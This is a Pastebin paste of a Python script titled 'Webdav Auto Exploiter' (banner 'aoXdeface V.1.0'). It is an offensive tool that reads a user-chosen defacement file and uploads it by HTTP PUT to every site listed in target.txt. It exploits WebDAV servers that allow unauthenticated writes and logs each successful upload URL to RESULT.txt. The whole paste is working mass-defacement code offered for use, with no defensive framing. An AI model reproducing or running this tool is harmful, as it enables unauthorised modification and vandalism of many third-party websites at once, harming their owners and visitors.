ToKeiChun

Webdav Auto Exploiter[Python]

Jul 18th, 2019
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.14 KB | None | 0 0
  1. #-*- coding: utf-8 -*-
  2.  
  3. try:
  4. import requests
  5. import os.path
  6. import sys
  7. except ImportError:
  8. exit("install requests and try again ...")
  9.  
  10. banner = """
  11.  
  12. █████╗ ██╗ ██╗██████╗ Author : Ms.ambari
  13. ██╔══██╗╚██╗██╔╝██╔══██╗ Date : 2018-12-01
  14. ███████║ ╚███╔╝ ██║ ██║ Tools : aoXdeface V.1.0
  15. ██╔══██║ ██╔██╗ ██║ ██║ Github : /Ranginang67
  16. ██║ ██║██╔╝ ██╗██████╔╝ youtube: Ms.ambari
  17. ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
  18. """
  19.  
  20. b = '\033[31m'
  21. h = '\033[32m'
  22. m = '\033[00m'
  23.  
  24. def x(tetew):
  25. ipt = ''
  26. if sys.version_info.major > 2:
  27. ipt = input(tetew)
  28. else:
  29. ipt = raw_input(tetew)
  30.  
  31. return str(ipt)
  32.  
  33. def aox(script,target_file="target.txt"):
  34. op = open(script,"r").read()
  35. with open(target_file, "r") as target:
  36. target = target.readlines()
  37. s = requests.Session()
  38. print("uploading file to %d website"%(len(target)))
  39. for web in target:
  40. try:
  41. site = web.strip()
  42. if site.startswith("http://") is False:
  43. site = "http://" + site
  44. req = s.put(site+"/"+script,data=op)
  45. if req.status_code < 200 or req.status_code >= 250:
  46. print(m+"["+b+" FAILED!"+m+" ] %s/%s"%(site,script))
  47. else:
  48. print(m+"["+h+" SUCCESS"+m+" ] %s/%s"%(site,script))
  49. bisa = "%s/%s"%(site,script)
  50. open('RESULT.txt', 'a').write(bisa+"\n")
  51.  
  52. except requests.exceptions.RequestException:
  53. continue
  54. except KeyboardInterrupt:
  55. print; exit()
  56.  
  57. def main(__bn__):
  58. print(__bn__)
  59. while True:
  60. try:
  61. a = x("Enter your script deface name: ")
  62. if not os.path.isfile(a):
  63. print("file '%s' not found"%(a))
  64. continue
  65. else:
  66. break
  67. except KeyboardInterrupt:
  68. print; exit()
  69.  
  70. aox(a)
  71.  
  72. if __name__ == "__main__":
  73. main(banner)
Add Comment
Please, Sign In to add comment